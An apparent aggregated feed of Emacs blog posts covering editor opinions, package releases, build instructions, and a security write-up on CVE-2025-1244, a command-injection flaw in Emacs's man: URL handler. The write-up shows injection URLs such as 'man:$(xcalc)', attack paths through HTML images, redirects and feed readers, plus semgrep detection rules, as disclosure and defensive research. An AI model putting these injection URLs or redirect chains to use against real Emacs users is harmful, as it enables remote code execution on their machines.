Recently:

Irreal: 🄩 Red Meat Friday: We Should Stop Whining

Want to feel ashamed? Of course you don’t but this post will make you feel that way anyway. Too many of us spend our time whining about the tech we use. One aspect of that is how hard it is to learn Emacs or any other serious editor. Read the technical forums. They’re full of whining: ā€œI don’t have time to learn my tools.ā€ ā€œI’m not wasting my time learning Elispā€ ā€œWhy can’t it just do what I expect it to do?ā€ ā€œOMG, the keybindings!ā€ And on and on.

Then there’s this guy. He’s been blind since birth and guess what? He’s learned to use Emacs and is thankful for it. He uses Emacspeak for both his programming and writing. He says it fills him with joy.

I don’t know about you but I can’t imagine doing what he does. He can’t see. He can’t even remember seeing but he has still managed to learn Emacs and make it an important part of his life.

What’s that? You don’t like the default key bindings? You don’t like the default theme? It takes too long to load? Get over yourself. If a guy who can’t see—who’s never been able to see—can learn and master Emacs so can you.

What’s most striking to me is that he sees every day as an opportunity to learn something new about Emacs and improve his workflow. We could all learn something from him. We are, really, lucky to have so many great tools available to use, often for free. I’m happy his post pointed this out to me.

-1:-- 🄩 Red Meat Friday: We Should Stop Whining (Post Irreal)--L0--C0--2025-07-18T16:44:46.000Z

Protesilaos Stavrou: Emacs: dired-preview version 0.6.0

This is a simple package to automatically preview in a window the file at point in Dired buffers. Preview windows are closed when they are no longer relevant, while preview buffers are killed if they have not been used for other purposes beside previewing. The package provides several customisation options to control its behaviour.

Below are the release notes


Version 0.6.0 on 2025-07-18

This is a small release that provides quality-of-life refinements.

Optionally do not trigger a preview when entering the directory

The new user option dired-preview-trigger-on-start controls whether a preview is produced automatically when (i) entering a directory while (ii) the dired-preview-mode or its global counterpart is enabled.

The default value is non-nil, which preserves the behaviour we have always had of previewing outright. When set to nil, the preview does not happen upon entering a directory and is triggered only after one of the commands in denote-preview-trigger-commands is invoked.

I did this is in response to issue 31 by dasoju: https://github.com/protesilaos/dired-preview/issues/31.

Define which commands trigger a preview

The denote-preview-trigger-commands is now declared as a ā€œuser optionā€ rather than a generic variable, meaning that users are encouraged to customise it (and it technically is available via the Custom interface and related). Everything should otherwise work the same as before.

The preview does not interfere with dired-dwim-target

Previous versions would make dired-dwim-target not return the directory of the other window. Whereas we want the preview to not influence how Dired behaves when copying or renaming files.

The bug was addressed in patch release 0.5.2.

Fixed a temporary bug in dired-preview-page-up

It was missing the macro we define to perform operations in the preview window.

Thanks to Alex Popescu for telling me that the command was not working. This was done in issue 28: https://github.com/protesilaos/dired-preview/issues/28.

The bug was addressed in patch release 0.5.1.

-1:-- Emacs: dired-preview version 0.6.0 (Post Protesilaos Stavrou)--L0--C0--2025-07-18T00:00:00.000Z

Irreal: Org Agenda

Chris Maiorana has a post that discusses his thoughts on Org Agenda. His discussion is mainly why you might want to use it and what you’d want to use it for. The main takeaway from his post is that Org Agenda is very flexible and customizable.

You can decide what information you want displayed in the agenda and how you want it displayed. Maiorana lists some of the ways you might want to use the Agenda or, perhaps, not use it all.

Not a bit of it resonated with me. I’ve always simply thought of the Agenda as a list of those headings in certain Org files that have an active date. The traditional way of using it is to have a TODO file or a set of files with TODO items and have those—along with their scheduled and end dates—displayed in the Agenda. I do that too but mostly I use Agenda as a report.

As I’ve mentioned before, I keep a detailed list of my daily activities and these are displayed in the Agenda. This turns out to be useful for more than just taking trips down memory lane. For example, when I have an external appointment, I record when I leave, when I arrive, when I leave the appointment, and when I get back. That way, the next time I have an appointment at the same place, I have an idea of the travel time—and therefore when to leave—and how long it will take to get back. It’s useful information to have and well worth the effort to collect it.

Of course, that’s just one way to use the Agenda and almost certainly not the most common way. But that’s the point: you can mold the agenda to be anything you want.

-1:-- Org Agenda (Post Irreal)--L0--C0--2025-07-17T14:48:24.000Z

In Emacs, when you press M-y, you can go through all the recent text snippets that are stored in your kill ring (aka ā€œclipboardā€ in modern-day programs) via yank-pop. In two seconds, I found what I needed from yesterday, and I’m ready to go.

Emacs is just like that, once you learn to use it. Two seconds, you get what you need (for me, usually in org-mode), and you move on with your life. Everything is tailored to fit you, the user. That’s what happens when a bunch of productivity geeks sit together and build a program.

Sure, not all (and even most) programs that are open source end the same way, but Emacs is unique. It’s a shining example of what happens when different people have different needs and are provided with open tools to answer those needs. I’m not a Lisp coder, but I know that when I need to change something or tweak it, I can, and I have all the help documentation and a community behind me to help achieve what I need.

-1:--  (Post TAONAW - Emacs and Org Mode)--L0--C0--2025-07-17T13:58:12.000Z

William Denton: I'm sticking with Emacs stable releases

For years I’ve run Emacs by compiling the development source tree every week or two, just for the fun of it, to stay up with what the developers are doing. Every now and then there would be some compilation problem, but almost always make maintainer-clean would reset everything and I could try again. I gained nothing from doing this except the enjoyment of being current. I didn’t follow the emacs-devel mailing list.

Last week things went weird after an update and I couldn’t figure out why. It compiled, but when I ran Emacs my init file would be partially loaded and then it froze. I tried various things (that is to say, spent four fruitless hours becoming increasingly frustrated) but couldn’t figure it out. At some point Org files broke and weren’t being recognized as Org, which is a fatal problem for me. The one thing I learned is M-x desktop-clear and that I can save more than one session with desktops, which might be useful again.

Screenshot of this post being written in Emacs
Screenshot of this post being written in Emacs

Finally I decided the hell with, what if I run the latest stable release? That’s 30.1 right now. I tried it and it worked perfectly. I decided from now on I will stick with the latest stable release and stop making trouble for myself. But I want to do this from source code, partly for the fun of it, partly because Ubuntu 24.04 LTS doesn’t have 30.1 available, partly because I don’t want to use a Snap or Flatpak release. These instructions from Ryan Fleck were helpful and have a good Git clean-up command in them.

I’ve updated Conforguration, and it now runs essentially this:

cd /usr/local/src/
git clone https://git.savannah.gnu.org/git/emacs.git
cd emacs
git checkout -b emacs-30.1 emacs-30.1
git clean -fdx
./autogen.sh
./configure --with-tree-sitter --with-imagemagick && make -j6

You might do it differently, but this works for me. Org I will still run from the development tree.

cd /usr/local/src/
git clone https://git.savannah.gnu.org/git/emacs/org-mode.git
cd org-mode
make -j

It’s one less thing to worry about, and one less thing to fiddle with. Maybe with the time I save I’ll finally be able to get my Emacs configuration perfect …

-1:-- I'm sticking with Emacs stable releases (Post William Denton)--L0--C0--2025-07-17T00:54:17.000Z

Protesilaos Stavrou: Prot Asks: Thomas about Emacs writing, Brazilian Jiu Jitsu, sport culture, and manga

Raw link: https://www.youtube.com/watch?v=nvD0G4qawyA

In this new video series, I talk to anybody who is interested to have a video call with me (so do contact me if you wish!). The topics cover anything related to Emacs, technology, and life in general. More information in the announcement I posted: https://protesilaos.com/codelog/2025-07-10-prot-asks-chats-videos-proposal/.

In this ~1-hour video, I talk to Thomas about using Emacs to write blog posts and take notes. Then we switch gears to discuss Thomas’ involvement with Brazilian Jiu Jitsu. Part of that theme covers our thoughts on sport culture, discipline and commitment. The last topic is manga, which comes from Japan. We touch on the work ethic of manga artists and, generally, the culture at play.

-1:-- Prot Asks: Thomas about Emacs writing, Brazilian Jiu Jitsu, sport culture, and manga (Post Protesilaos Stavrou)--L0--C0--2025-07-16T00:00:00.000Z

Chris Maiorana: Ask me about my Org Mode agenda

You may have heard about the amazing Org Mode agenda. It’s one of the key features of Org Mode. It can be customized in such a wide variety of ways that it can be overwhelming to decide how you would even use it.

To paraphrase a response to a recent Reddit post: you know what you want, but not sure why you want it. That’s exactly how you might be feeling when you approach the Org Mode agenda. It can be programmed to do a lot of fancy things, but why?

Start with some questions.

  • Do you need to schedule basic tasks? Like taking out the garbage or calling the folks?
  • Or, are you scheduling larger projects with deadlines?
  • What do you need to keep track of?
  • Is your agenda for home, business, or both?

It’s best to be outcome-focused. First list out exactly what data you want to track and see if there is a construct for it in the agenda tool. Most likely there is more than one way to do what you want to do.

Also, it’s possible the Org Mode agenda is not a necessary tool for you. You don’t have to use it just because it’s there.

What does the Org agenda do? The agenda can extract data from a list of files (or a single file) and generate an ā€œagenda viewā€ displaying all of the information in a format of your design.

The agenda view can display simple lists of todo items or a daily breakdown of items scheduled to be worked on or with a deadline.

Why not use the agenda?

One of the common issues you’ll see is that most people prefer to have a generic calendar. There are packages that can give you a calendar view in Emacs, but I’ve never tested any of them so I can’t vouch for the quality. In general, I find plain text is best for displaying information vertically; and the agenda does that well. But it can’t replace a calendar.

I’ve often found it difficult to arrange todo items or ā€œnext actionsā€ (in GTD speak) as headings. I’m not sure why. Most of the time, a simple, hierarchical, bullet point list does the job just fine. But the Org Mode agenda does not process lists that way. C’est la vie.

Another bummer, repeated tasks pop right back into the todo list after you’ve completed them. For example, if you have a scheduled task to clear your browser cache once a week, you can set that up in a list of ā€œNEXTā€ action or ā€œTODOā€ items, but soon as your mark it ā€œDONEā€ for this week, next week’s reminder falls right back into the ā€œTODOā€ state. So the job is never done. This makes sense logically but is aesthetically disappointing, especially if your desired result is to see an empty todo list.

Most of your peers will probably be on Google calendars, a shared Kanban board, or some other third-party system for managing scheduled tasks and deadlines. While many of these third-party tools can sync with an Org agenda, you’ll often find yourself trying to cram other functionality into Emacs without a good reason why other than because it’s cool (granted, that’s NOT a bad reason).

In summary, the Org Mode agenda is a wonderful puzzle to solve. It’s incredibly useful, highly specific and configurable, but I often find the simpler tools (like basic lists) work best for my day-to-day work. Try it out and see for yourself. At the very least it’s a nice show piece. ā€œHey, ask me about my Org Mode agenda.ā€


Expand your intellectual horizons with some additional materials:

The post Ask me about my Org Mode agenda appeared first on The Daily Macro.

-1:-- Ask me about my Org Mode agenda (Post Chris Maiorana)--L0--C0--2025-07-15T12:00:00.000Z

Lambda Land: Bedrock Version 1.5.0 Released

I just released version 1.5.0 of Emacs Bedrock—a super minimal starter kit for Emacs. This is a minor change: I’ve fixed a few bugs and added a package or two to some of the optional config files under extras/.

Bedrock’s philosophy and updating #

Unlike some starter kits, Bedrock isn’t meant to be updated in any systematic way: you copy Bedrock’s config files once, and then you modify them to your liking.

Why? Bedrock is meant to be a starting point for users to build their own Emacs config. It’s meant to encourage discovery and personal customization, and it does this by not hiding anything behind any ā€œmagicā€ complexity.

I don’t want to discount the hard work done by maintainers of frameworks like Doom Emacs and the like—those have their place and they work for many people. But for myself and many others that I’ve helped, frameworks like those are too much. Better to have a lightweight foundation on which to build a tailored Emacs setup.

If you want to update an existing Bedrock-based config, the best way to do this is to just look at the diff between 1.5.0 and the commit you cloned from and pick out the changes you want to incorporate. It shouldn’t be difficult: Bedrock changes relatively slowly, so there shouldn’t be a lot for you to modify.

Changes in 1.5.0 #

There are a few bug fixes too minor to detail here. Besides those, the biggest changes are:

  • Added some sample configuration for the TempEL package in extras/dev.el. It’s another package by Daniel Mendler, and I’ve enjoyed its lightweight templates. I personally find it a lot easier to use than similar packages like yasnippet.
  • If you’re running Emacs 30, visual-wrap-prefix-mode is now enabled to make soft text wrapping on things like bulleted lists (like this one!) line up the beginnings of the lines.
  • Another thing for Emacs 30 users: project-mode-line now turns on to give you a visual indication of what project you’re in.

Roadmap #

Emacs 31 is currently in development, and I’ve got my eye on a few changes specifically that I’d like to incorporate into Bedrock. I’m tracking changes to Emacs 31 at issue #44 on Codeberg; feel free to join the conversation there if you find something in Emacs 31 you think would be good for Bedrock.

Major exiting things:

  • Emacs 31 supports child frames in TTYs, so we shouldn’t need the corfu-term package any more. I love it when we can remove packages without sacrificing functionality!
  • Tree-Sitter support is still bumpy; Emacs 31 has a config option treesit-auto-install-grammar which hopefully will solve some headaches.

I’ll keep pursuing the NEWS file for this release. The Emacs contributors have been really knocking it out of the park the past several years with all the goodies we’ve gotten like better JSON parsing, including Eglot, smooth scrolling, native compilation, and so much more.

Besides the Emacs 31-centric updates, I hope to add some config that will make it easier to customize a Bedrock-based setup without modifying the core files. While I believe modifying the core files yourself is the best way to get the most out of Bedrock, I am not opposed to accommodating those who would rather add modifications on top of Bedrock than tinkering with the core files instead. Tracking this in issue #13 on Codeberg.

Thank you to all who have tried out Bedrock and a special thanks to all who have sent me feedback.

Happy hacking!

-1:-- Bedrock Version 1.5.0 Released (Post Lambda Land)--L0--C0--2025-07-15T00:00:00.000Z

Sacha Chua: 2025-07-14 Emacs news

Links from reddit.com/r/emacs, r/orgmode, r/spacemacs, r/planetemacs, Mastodon #emacs, Bluesky #emacs, Hacker News, lobste.rs, programming.dev, lemmy.world, lemmy.ml, planet.emacslife.com, YouTube, the Emacs NEWS file, Emacs Calendar, and emacs-devel. Thanks to AndrƩs Ramƭrez for emacs-devel links. Do you have an Emacs-related link or announcement? Please e-mail me at sacha@sachachua.com. Thank you!

View org source for this post

You can e-mail me at sacha@sachachua.com.

-1:-- 2025-07-14 Emacs news (Post Sacha Chua)--L0--C0--2025-07-14T16:52:43.000Z

Irreal: Do We Really Need Lisp Machines?

As you all know by now, I’m a fan of the Lisp Machine concept. Like the majority of people, I never had the opportunity to work on an actual Lisp Machine—they were horrendously expensive and they haven’t been produced in years. They were never commercially successful but nevertheless enjoy an almost mythical reputation.

Today, the best most people can do is Emacs. That’s pretty good, actually, but Emacs can’t begin to match the power of the Lisp Machine operating environment. Still, most of us have come to peace with the idea of Emacs as the modern Lisp Machine.

Most of us but not all. For example, Fulton, over at Fulton’s Ramblings, believes that not only were Lisp Machines were the right thing but that their time is coming again. He notes that while Unix ran on relatively modest hardware, Lisp Machines required significant hardware including lots of memory and a frame buffer. All that was expensive back then and by the time the prices came down, Unix was well established and had captured the market and mind share.

Fulton believes that Unix has a myriad of problems and that those problems will lead to a resurgence of the Lisp Machine era. As much as I love the idea Lisp Machines, I don’t think this is going to happen. Sure, Unix has grown increasingly complex but that’s because it’s addressing increasingly complex problems. Lisp Machines didn’t have to worry about (hideously complex) things like Web Browsers, or even the ubiquitous Web.

Were Lisp Machines to reemerge, they would undoubtedly undergo the same complexification that Unix has suffered. Don’t get me wrong, I’d love to see a modern Lisp Machine but, really, it’s a nerd dream that would almost certainly be unable to gain popular acceptance. After all, we can’t even convince most nerds to learn Lisp.

Even if the nerd market were large enough, what would we use them for? Presumably software development would be the main use but writing software for different Unix platforms is already difficult enough. Imagine how hard it would be if we were developing it on a completely different system.

I’m doubtful that I’ll see the second coming of Lisp Machines but I do have Emacs which is a pretty good approximation and an excellent compromise given the market and technical realities.

-1:-- Do We Really Need Lisp Machines? (Post Irreal)--L0--C0--2025-07-14T16:09:12.000Z

Marcin Borkowski: Interacting with an unreliable process

Previously, we learned how to send some input to an external process via its stdin and receive its output from its stdout. The process, however, was simple and very reliable. In the real world, an external process can take its time (especially if it uses a database or a network to operate), die or even hang, and it’s good to support such cases.
-1:-- Interacting with an unreliable process (Post Marcin Borkowski)--L0--C0--2025-07-14T05:58:59.000Z

Lars Ingebrigtsen: Me, after reading the first half of the bug#66390 thread

ā€œThere’s only madness down that road.ā€

My solution to the url.el parts of Vasilij Schneidermann excellent writeup would, as always, be:

diff --git a/lisp/url/url.el b/lisp/url/url.el
index b4ece5faeb..8ea491efb0 100644
--- a/lisp/url/url.el
+++ b/lisp/url/url.el
@@ -191,7 +191,8 @@ url-retrieve-internal
       (setq url (url-generic-parse-url url)))
   (if (not (functionp callback))
       (error "Must provide a callback function to url-retrieve"))
-  (unless (url-type url)
+  (when (or (not (url-type url))
+            (not (member (url-type url) '("http" "https" "file"))))
     (error "Bad url: %s" (url-recreate-url url)))
   (setf (url-silent url) silent)
   (setf (url-asynchronous url) url-asynchronous)

(Along with making redirects saner, of course.)

-1:-- Me, after reading the first half of the bug#66390 thread (Post Lars Ingebrigtsen)--L0--C0--2025-07-14T05:11:40.000Z

Protesilaos Stavrou: Common questions about the ā€˜Prot Asks’ videos on Emacs and Life

A few days ago, I took the initiative to start a new ā€œProt Asksā€ video series: https://protesilaos.com/codelog/2025-07-10-prot-asks-chats-videos-proposal/. Two days later, I published the first ~1-hour video with Carlos about Emacs for engineering, free software, and life in Spain: https://protesilaos.com/codelog/2025-07-12-prot-asks-carlos-emacs-engineering-life-spain/. It was a casual chat and I had a good time.

I already have scheduled meetings for the coming weeks. Expect more interesting conversations with diverse people from the community. And—don’t be shy!—join the list if you are interested.

Now I want to elaborate on some common questions or remarks I got.

You should invite PERSON!

Where PERSON is a placeholder for any of the well-known folks online.

I am not going to personally invite anybody. Not because I do not respect them, but due to the overarching theme of these videos, which can be summarised as ā€œequal opportunityā€.

Those interested are welcome to contact me. All are treated on the basis of ā€œfirst come; first servedā€ and are thus forming a line. I am not making special accommodations for anyone, which is consistent with the aforementioned theme.

The reason I am approaching it this way is to give everybody—whether famous or not—an equal chance to speak their mind and express that which is peculiar to them.

Is this an interview?

No. To me, an interview feels formal and structured. It proceeds along a predefined path. Whereas ā€œProt Asksā€ meetings are casual. I do not prepare any questions, have no script, and will not be formulaic. I will go with the flow based on the information you have given me and what I discern through our exchange.

Instead of an interview, think of it this way: you are at the restaurant, your friends have not shown up yet, and you start a chat with the waiter.

Will you ask private questions?

No. I do not seek ā€œdramaā€ and am not fond of trick questions. Remember to think of this as an everyday exchange you can have at a public space with a friendly fellow.

What I will ask about is matters of interest or ideas. When I do comment on something remotely personal, is the country you live in. Though you do not need to be specific in any way. It is just a way for me to ask generic follow-up questions like, ā€œso you are from Greece, does this mean you also like cafĆ© frappĆ©?ā€.

I doubt I am interesting to talk to…

I wager you are fine, no matter your background or status. Everybody has something unique to share and I am curious to discover what that is. You focus on what you do. Let each viewer discern their own interpretation of ā€œinterestingā€ rather than try to anticipate it.

I state this with confidence, from my years doing team sports, to my university studies, time as a bartender, work at the European Parliament, and current coaching sessions. All distinct social settings and dynamics. Give a person a chance to speak their mind and they feel like they never did before.

Plus, as a philosopher (literally ā€œfriend of wisdomā€) I have realised that my role is not to judge at the outset but to learn and to try to comprehend. This way, I do not fall in the trap of pretending to know more than I actually do.

How frequently will you publish a new video?

Depends on my availability. Right now, the meetings I have scheduled are for Wednesdays and Saturdays. Remember that I still need to work, continue my hut project, maintain my Emacs packages, and take care of the dogs. Plus, there can be bad weather, intermittent connectivity, and other unforeseen events. So we will see how it goes. I am content with the current expected cadence.

Make sure to post it everywhere!

I suppose you are not familiar with my publications and style. In short, I only publish on my website. Videos also appear on YouTube, which is the de facto hosting platform. Then I am off to tend to other activities and do not bother to ping anybody. I like things to happen organically. My laissez faire attitude keeps me calm, fresh, and freed from the distraction of chasing Internet points.

Let’s talk

Hopefully this clarifies things. I am always happy to answer any further questions. Just let me know.

-1:-- Common questions about the ā€˜Prot Asks’ videos on Emacs and Life (Post Protesilaos Stavrou)--L0--C0--2025-07-14T00:00:00.000Z

Vasilij Schneidermann: CVE-2025-1244: From Emacs URL Handler to RCE

Summary

Been a while since my last CVE :) If you are only interested in how to protect yourself against this vulnerability, jump to the Mitigation section. Otherwise, keep on reading.

Introduction

I’ve attended an application security training by Steven Seeley last year. One of the recurring themes was lesser known URL handlers leading to remote code execution (RCE), so we did review a good amount of Java code implementing JNDI and other fun stuff.

The training left me feeling in need of doing my own security research. Considering that the last two Emacs releases fixed several security bugs and I was not aware of any systematic research of URL handlers in Emacs, I figured that may be something worth sinking my teeth into.

url.el

This built-in library is the de-facto solution for performing HTTP requests in Emacs, despite minimal documentation and overall terrible API. I was vaguely aware that it handles far more than just HTTP URLs, so I went through the source code and found support for the following:

Source file Handler
url-cid.el cid:[1]
url-file.el file:, ftp:
url-ftp.el Alias for url-file.el
url-http.el http:, https:
url-imap.el imap:[2]
url-irc.el irc:
url-ldap.el ldap:
url-mail.el mail:[3], mailto:
url-misc.el man:, info:, data:, rlogin:[4], telnet:[4], tn3270:[4]
url-news.el news:[2], snews:[2]
url-nfs.el nfs:[3]
url-tramp.el ftp:[5], ssh:[5], scp:[5], rsync:[5], telnet:[5]

That’s a lot! Some of the URL handlers were clearly in an unfinished state as I hit errors when trying to use them. Others outsourced their functionality to the TRAMP package, which seems like another prime candidate for future vulnerability research.

Now, given an attacker-controlled URL, what APIs process it? The obvious answer is url-retrieve and friends, however there is url-handler-mode as well which enables file system operations (such as file-exists-p and insert-file-contents) on URLs. This blog post will focus on the former due to the greater attack surface.

Identifying the sink

With source code review, there is this concept of ā€œsourceā€ (code accepting user input) and ā€œsinkā€ (code performing a dangerous operation on its argument). The challenge is to find a code path leading from source to sink. While there is tooling (such as codeql) to perform automatic analysis, I’m not aware of such a thing for Lisp languages. The best option so far seem to be source-code aware search tools, such as semgrep.

I decided to start with the sink first and looked for URL handlers which unsafely spawn processes using part of the URL as input. This led to an obvious hit from lisp/url/url-man.el to lisp/man.el:

(defun url-man (url)
  "Fetch a Unix manual page URL."
  (man (url-filename url)) ; [1]
  nil)
(defun man (man-args)
  "..."
  (interactive (list ...))

  ;; Possibly translate the "subject(section)" syntax into the
  ;; "section subject" syntax and possibly downcase the section.
  (setq man-args (Man-translate-references man-args)) ; [2]

  (Man-getpage-in-background man-args)) ; [3]
(defun Man-getpage-in-background (topic)
  "..."
  (let* ((man-args topic) ; [4]
         (bufname (concat "*Man " man-args "*"))
         (buffer  (get-buffer bufname)))
    (if buffer
        (Man-notify-when-ready buffer)
      (message "Invoking %s %s in the background" manual-program man-args)
      (setq buffer (generate-new-buffer bufname))
      (with-current-buffer buffer
        ;; ...
        (Man-start-calling
         (if (fboundp 'make-process)
             (let ((proc (start-process
                          manual-program buffer
                          (if (memq system-type '(cygwin windows-nt))
                              shell-file-name
                            "sh")
                          shell-command-switch
                          (format (Man-build-man-command) man-args)))) ; [5]
               (set-process-sentinel proc 'Man-bgproc-sentinel)
               (set-process-filter proc 'Man-bgproc-filter))
           (let* ((inhibit-read-only t)
                  (exit-status
                   (call-process shell-file-name nil (list buffer nil) nil
                                 shell-command-switch
                                 (format (Man-build-man-command) man-args))) ; [5]
                  (msg ""))
             ;; ...
             (Man-bgproc-sentinel bufname msg))))))
    buffer))

To recap:

  • The file name part of the URL is extracted [1]
  • man page references are translated, leaving shell control characters intact [2]
  • The result is passed to a helper function of man [3][4], which starts a shell process and interpolates the man page name into the command line, without any further restriction or escaping of shell control characters [5]

Despite this seeming relatively straight-forward to exploit, I ran into a minor impediment almost immediately: The file name part of the URL does not accept all possible characters unscathed. Inside url-retrieve, the url-encode-url helper is invoked on a URL string to ensure it’s normalized and performs percent-encoding on the path and other parts of the URL. Therefore, the URL handler would need to percent-decode the path to handle the encoded parts correctly. Unfortunately, this is not the case for url-man, whereas url-info does this step.

(defun my-man-url-filename (url)
  (url-filename (url-generic-parse-url (url-encode-url url))))

(my-man-url-filename "man:`xcalc`") ;=> "%60xcalc%60"
(my-man-url-filename "man:$(xcalc)") ;=> "$(xcalc)"
(my-man-url-filename "man:$(xcalc -rpn)") ;=> "$(xcalc%20-rpn)"

Given some shell-fu, it is absolutely possible to invoke commands with several arguments, but this is best left as an exercise to the inclined reader :)

From sink to source

Here’s the part I spent much more time on: Are there any packages, be it built-in or from 3rd-party repositories (such as MELPA), which obtain a URL from user input and retrieve it? How many rely on user interaction before command execution is triggered?

Initially, I didn’t find much when looking at built-in packages, so I grabbed a copy of all ELPA repositories from the Emacs China mirror, unpacked them, searched for url-retrieve invocations and filtered out anything operating on a string literal. The first interesting hit was for the org-download package from MELPA, with 500k downloads:

(defun org-download-yank ()
  "Call `org-download-image' with current kill."
  (interactive)
  (let ((k (current-kill 0))) ; [1]
    (unless (url-type (url-generic-parse-url k))
      (user-error "Not a URL: %s" k))
    (org-download-image ; [2]
     (replace-regexp-in-string
      "\n+$" "" k))))

(defun org-download-image (link)
  "Save image at address LINK to `org-download--dir'."
  (interactive "sUrl: ")
  (let* ((link-and-ext (org-download--parse-link link)) ; [3]
         ;; ...
         )
    ;; ...
    ))

(defun org-download--parse-link (link)
  (cond ((image-type-from-file-name link)
         (list link nil))
        ((string-match "^file:/+" link)
         (list link nil))
        (t
         (let ((buffer (url-retrieve-synchronously link t))) ; [4]
           (org-download--detect-ext link buffer)))))

The exploit scenario would look as follows:

  • The user downloads an Org file containing a malicious man: link
  • She yanks the link, then processes it with the org-download-yank command
  • The embedded shell command inside the link is executed

Granted, not a very likely scenario, but good enough for an initial security report to the Emacs maintainers[6]. This revealed that the sink had been patched almost a year ago in commit 820f0793f0b, which did not make it into a stable release yet and was intended to land in Emacs 30.1. From my own limited testing, I managed to reproduce the bug on Emacs versions 29.4 (Arch), 28.2/27.1/26.1 (Debian 12/11/10) and 25.2/24.5 (Ubuntu 18.04/16.04).

The initial response to the report was mixed. On the one hand it seemed like a serious enough issue to the maintainers to further look into, on the other hand the initial response in the Debbugs thread was ā€œWhy isn’t it a problem with the command that invokes ā€˜man’, in this case Org?ā€ and ā€œI think callers of ā€˜man’ should prevent that instead.ā€

I do find it perfectly understandable that the focus of the Emacs maintainers is fixing code that’s part of Emacs, the initial response not so much. Nevertheless, I felt that I had to prove it’s not only third-party packages that can trigger the bug, which motivated me to look harder for a more realistic exploit scenario.

Reducing user interaction

I reviewed the Emacs 29.4 sources again. This led me towards eww.el and shr.el which are responsible for the textual browser and HTML rendering respectively. For example, the following browser command downloads the URL at point:

(defun eww-download ()
  "Download URL to `eww-download-directory'.
Use link at point if there is one, else the current page's URL."
  (interactive nil eww-mode)
  (let ((dir (if (stringp eww-download-directory)
                 eww-download-directory
               (funcall eww-download-directory))))
    (access-file dir "Download failed")
    (let ((url (or (get-text-property (point) 'shr-url) ; [1]
                   (eww-current-url))))
      (if (not url)
          (message "No URL under point")
        (url-retrieve url #'eww-download-callback (list url dir)))))) ; [2]

This improves upon the initial payload by not requiring any 3rd-party packages, but still relies on the position of point and intentionally executing the command.

I started experimenting with other HTML tags containing URLs and noticed that there was nothing preventing an image from containing a man: URL. To my surprise, merely rendering an HTML document with shr.el triggered URL retrieval:

(defun shr-tag-img (dom &optional url)
  (when (or url
            (and dom
                 (or (> (length (dom-attr dom 'src)) 0)
                     (> (length (dom-attr dom 'srcset)) 0))))
    (when (> (current-column) 0)
      (insert "\n"))
    (let ((alt (dom-attr dom 'alt))
          (width (shr-string-number (dom-attr dom 'width)))
          (height (shr-string-number (dom-attr dom 'height)))
          (url (shr-expand-url (or url (shr--preferred-image dom))))) ; [1]
      (let ((start (point-marker)))
        (when (zerop (length alt))
          (setq alt "*"))
        (cond
         ((null url)
          ;; After further expansion, there turned out to be no valid
          ;; src in the img after all.
          )
         ((or (member (dom-attr dom 'height) '("0" "1"))
              (member (dom-attr dom 'width) '("0" "1")))
          ;; Ignore zero-sized or single-pixel images.
          )
         ;; ...
         (t
          ;; ...
          (url-queue-retrieve
           url #'shr-image-fetched ; [2]
           (list (current-buffer) start (set-marker (make-marker) (point))
                 (list :width width :height height))
           t
           (not (shr--use-cookies-p url shr-base)))))
        ;; ...
        ))))

This reduces user interaction to rendering a HTML document, regardless of whether it’s with a textual browser, newsreader, EPUB viewer, etc. Even something as simple as customizing browse-url-browser-function to eww-browse-url would make clicking links dangerous. At this point, maintainers agreed that it would make sense to apply for a CVE. I recorded a video of the Proof of Concept (PoC) in action to demonstrate the bug:

Besides the browser, email clients are of particular concern as they’re designed to handle messages originating from the internet. I’ve compiled the following table summarizing impact for commonly used clients. Two attack scenarios are of interest here, the previously shown inline images and clicking external links, which is explained in the following sections.

Client Type Inline images RCE?
GNUS Built-in Maybe: Opt-in[7]
mh-e Built-in Maybe: Opt-in[8]
mu4e External Maybe: Opt-in[8]
notmuch.el External Mitigated: Blocked
rmail Built-in Mitigated: Blocked
Wanderlust External Maybe: Opt-in[9]

Eliminating user interaction

When xristos saw the above PoC video, he initially thought it abused a HTTP redirect to a malicious URL. This turned out to be another viable approach due to url-http.el automatically following redirects. However, this makes exploitation a bit more involved:

  • The attacker needs to host a malicious HTTP server
  • That server needs to respond to a particular HTTP request with a redirect to a malicious URL
  • The attacker needs to share the URL leading to the redirect
  • The victim needs to url-retrieve that URL with a vulnerable Emacs version

A realistic scenario would be a URL previewer. For example, the Circe IRC client includes the circe-display-images module which fetches every incoming image URL matching a regular expression. All an attacker would need to do is to join an IRC channel and send messages containing a link to the malicious HTTP server:

(enable-circe-display-images)
;; post something http://example.com/evil.{png,jpg,svg,gif}

A much more evil scenario I can think of:

  • Someoneā„¢ operates a reasonably popular website visited by Emacs users
  • They check their web server logs for user agents and discover url.el among them
  • They set up the web server to conditionally serve the malicious redirect for a URL mainly visited by url.el (for example, an Atom feed)

The built-in Newsticker package defaults to fetching feeds with url.el since at least 2008.

(setq newsticker-url-list-defaults nil
      newsticker-url-list '(("Shady feed" "http://brause.cc:4444/feed.atom")))

(newsticker-start)

The elfeed package is a reasonably popular 3rd-party alternative; while it defaults to download feeds with curl, there is a fallback option to url.el:

(setq elfeed-use-curl nil
      elfeed-feeds '("http://brause.cc:4444/feed.atom"))
(elfeed-update)

Variant analysis

Towards the end of this research, I started experimenting with semgrep to reduce the amount of code to sift through. Its Lisp support is still marked as experimental[10], but I still managed to write useful rules that flag dodgy sinks and sources. For example, the following rule set matches all url-retrieve calls not using a string literal:

rules:
  - id: url-retrieve-non-literal
    languages:
      - lisp
    message: 'Found `url-retrieve` call on non-literal'
    patterns:
      - pattern: '(url-retrieve ...)'
      - pattern-not: '(url-retrieve "..." ...)'
    severity: LOW
  - id: url-retrieve-synchronously-non-literal
    languages:
      - lisp
    message: 'Found `url-retrieve-synchronously` call on non-literal'
    patterns:
      - pattern: '(url-retrieve-synchronously ...)'
      - pattern-not: '(url-retrieve-synchronously "..." ...)'
    severity: LOW
  - id: url-queue-retrieve-non-literal
    languages:
      - lisp
    message: 'Found `url-queue-retrieve` call on non-literal'
    patterns:
      - pattern: '(url-queue-retrieve ...)'
      - pattern-not: '(url-queue-retrieve "..." ...)'
    severity: LOW
  - id: url-retrieve-internal-non-literal
    languages:
      - lisp
    message: 'Found `url-retrieve-internal` call on non-literal'
    patterns:
      - pattern: '(url-retrieve-internal ...)'
      - pattern-not: '(url-retrieve-internal "..." ...)'
    severity: LOW

